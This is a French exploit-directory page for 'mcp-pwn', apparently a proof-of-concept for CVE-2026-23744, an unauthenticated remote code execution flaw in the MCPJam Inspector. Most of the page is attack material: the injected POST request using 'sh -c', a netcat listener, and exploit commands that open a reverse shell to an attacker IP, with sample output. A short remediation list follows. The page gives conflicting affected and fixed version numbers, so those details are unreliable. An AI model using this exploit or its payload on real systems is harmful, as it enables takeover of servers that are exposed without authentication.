Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/jf-gondim/mcp-pwn
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleApprentissage et ÉducationRed Teaming
GitHubjf-gondim/mcp-pwn

mcp-pwn

Exploit PoC pour CVE-2026-23744 — RCE non authentifiée dans MCPJam Inspector via injection de commande non validée dans serverConfig sur /api/mcp/connect, permettant un shell inverse en tant que propriétaire du processus sans identifiants.

Voir le dépôt
37il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-23744 — Exécution de code à distance non authentifiée MCPJam

Résumé

MCPJam est un inspecteur et proxy MCP (Model Context Protocol) open-source utilisé pour connecter, déboguer et gérer des serveurs MCP. Les versions <= 1.4.2 exposent le point de terminaison /api/mcp/connect sans authentification ni validation des entrées. Un attaquant distant non authentifié peut injecter des commandes OS arbitraires via les champs serverConfig.command / serverConfig.args, obtenant une exécution de code à distance sous les privilèges du propriétaire du processus.


Détails de la vulnérabilité

ChampValeur
Identifiant CVECVE-2026-23744
Score CVSS9.8 (Critique)
Vecteur CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-78 — Neutralisation incorrecte des éléments spéciaux dans une commande OS
ComposantMCPJam MCP Proxy Inspector
AffectéMCPJam <= 1.4.2
CorrigéMCPJam >= 1.4.3
Vecteur d'attaqueRéseau — Aucune authentification requise
Divulgation2026-01-15

Analyse technique

Le point de terminaison vulnérable accepte une requête POST JSON non authentifiée :

root@kitploit:~
POST /api/mcp/connect HTTP/1.1
Host: <target>:3000
Content-Type: application/json

{
  "serverConfig": {
    "command": "sh",
    "args": ["-c", "<ATTACKER_CONTROLLED>"],
    "env": {}
  },
  "serverId": "any_string"
}

MCPJam transmet directement command et args au générateur de processus Node.js (child_process.spawn ou équivalent) sans :

  • Validation des entrées ou mise sur liste blanche des commandes
  • Application de l'authentification ou de l'autorisation sur ce point de terminaison
  • Bac à sable, espaces de noms ou abandon de privilèges

Un attaquant qui peut atteindre le port 3000 (par défaut) peut fournir une charge utile de shell inverse dans args[1], obtenant un shell en tant que propriétaire du processus MCPJam — souvent root ou un compte de service avec un accès système étendu.

Cause racine

L'absence d'un garde-fou d'authentification middleware sur /api/mcp/connect combinée à une utilisation incontrôlée de valeurs fournies par l'utilisateur dans un appel de génération de processus crée une injection de commande OS non authentifiée (CWE-78) classique.


Utilisation de l'exploit

Prérequis

root@kitploit:~
pip install requests urllib3

Arguments

root@kitploit:~
  -t, --target          Adresse IP ou nom d'hôte cible
  -p, --port            Port cible (MCPJam par défaut : 3000)
  -l, --lhost           IP locale pour le callback du shell inverse
  -r, --lport           Port local pour le callback du shell inverse
      --timeout         Secondes d'attente de disponibilité de la cible (défaut : 30)
      --shell-timeout   Timeout POST avant de considérer le shell perdu (défaut : 5)
  -v, --verbose         Afficher le corps complet de la réponse HTTP

Procédure pas à pas

1. Démarrez un écouteur netcat sur votre machine :

root@kitploit:~
nc -lvnp 4444

2. Lancez l'exploit :

root@kitploit:~
# Basique
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444

# Verbose + délai d'attente de disponibilité étendu (cibles lentes)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444 --timeout 60 -v

# Délai d'attente du shell plus long (donner plus de temps avant de supposer le shell établi)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 9001 --shell-timeout 10

Sortie attendue

root@kitploit:~
 ╔═══════════════════════════════════════════════════════════════════╗
 ║     MCPJam  ·  Exécution de code à distance non authentifiée     ║
 ║               via injection serverConfig                         ║
 ║                        CVE-2026-23744                             ║
 ╚═══════════════════════════════════════════════════════════════════╝
  Identifiant CVE :  CVE-2026-23744
  Composant      :  MCPJam MCP Proxy Inspector
  Affecté        :  <= 1.2.3   →  Corrigé: >= 1.2.4
  Score CVSS     :  9.8 (Critique)
  Vecteur CVSS   :  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  CWE            :  CWE-78 — Injection de commande OS
  Type           :  Exécution de code à distance non authentifiée  (Réseau / Pas d'auth)
  Référence      :  https://nvd.nist.gov/vuln/detail/CVE-2026-23744

  10:32:01 [*] Sondage de la cible 10.10.11.50:3000  (max 30s) ...
  10:32:02 [+] La cible est en vie — HTTP 200

  10:32:02 [*] Point de terminaison exploit  : http://10.10.11.50:3000/api/mcp/connect
  10:32:02 [*] Callback shell inverse        : 10.10.14.5:4444
  10:32:02 [!] Assurez-vous que l'écouteur   : nc -lvnp 4444
  10:32:02 [*] Envoi de la charge utile      ...

  10:32:07 [+] POST a expiré après 5s — shell inverse probablement établi sur 10.10.14.5:4444
  10:32:07 [+] Basculez vers votre écouteur netcat — connexion entrante attendue.

  10:32:07 [+] Routine d'exploit terminée.

Timeout = indicateur de succès. Lorsque la requête POST expire, le processus cible bloque sur le shell inverse ouvert — c'est le comportement attendu, confirmant que l'exécution de code à distance a été réalisée. Basculez immédiatement sur votre écouteur.


Correction

PrioritéAction
CritiqueMettre à jour MCPJam vers >= 1.4.3
HauteRestreindre /api/mcp/connect derrière un middleware d'authentification
HauteAppliquer une règle de pare-feu au niveau réseau limitant l'accès au port MCPJam aux IP de confiance
MoyenneMettre sur liste blanche les valeurs autorisées pour serverConfig.command
MoyenneExécuter MCPJam dans un conteneur / avec un utilisateur Linux restreint (pas de shell, pas de /dev/tcp)
FaibleActiver la journalisation d'audit sur les événements de génération de processus

Références

  • CVE-2026-23744 : Exécution de code à distance dans l'inspecteur MCPJam en raison d'un point de terminaison HTTP exposé
  • NVD — CVE-2026-23744
  • CWE-78 : Injection de commande OS
  • OWASP : Injection de commande
  • OWASP Top 10 : A03 Injection
  • Model Context Protocol — Considérations de sécurité
  • Projet MCPJam

Avertissement

Cet exploit est fourni strictement à des fins éducatives et de tests de sécurité autorisés. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester. L'utilisation non autorisée est illégale et contraire à l'éthique.

Télécharger l’outil